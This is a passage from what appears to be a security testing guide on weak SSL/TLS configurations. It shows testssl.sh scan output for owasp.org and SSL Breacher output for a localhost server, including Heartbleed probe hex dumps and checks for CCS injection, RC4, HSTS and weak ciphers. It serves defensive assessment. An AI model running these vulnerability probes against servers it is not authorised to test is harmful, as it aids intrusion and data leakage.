($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool [99] is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Surf Jacking<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/<br />
<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Path : /login.php<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<html><br />
<head><br />
<title>Login page </title><br />
</head><br />
<body><br />
<script src="http://othersite/test.js"></script><br />
<br />
<link rel="stylesheet" type="text/css" href="http://somesite/test.css"><br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<html><br />
<head><br />
<title>Login page </title><br />
</head><br />
<body><br />
<script src="http://othersite/test.js"></script><br />
<br />
<link rel="stylesheet" type="text/css" href="http://somesite/test.css"><br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[!] HTTP elements embedded in SSL page: PRESENT<br />
[!] Vulnerable to MITM malicious content injection attack<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- HTTP RESOURCES EMBEDDED ---------------<br />
- http://othersite/test.js<br />
- http://somesite/test.css<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
Robust Solution:<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...<br />
<br />
[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES<br />
[!] Vulnerable to Surf Jacking attack mentioned in https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1 <br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No <br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 12 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
<br />
<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
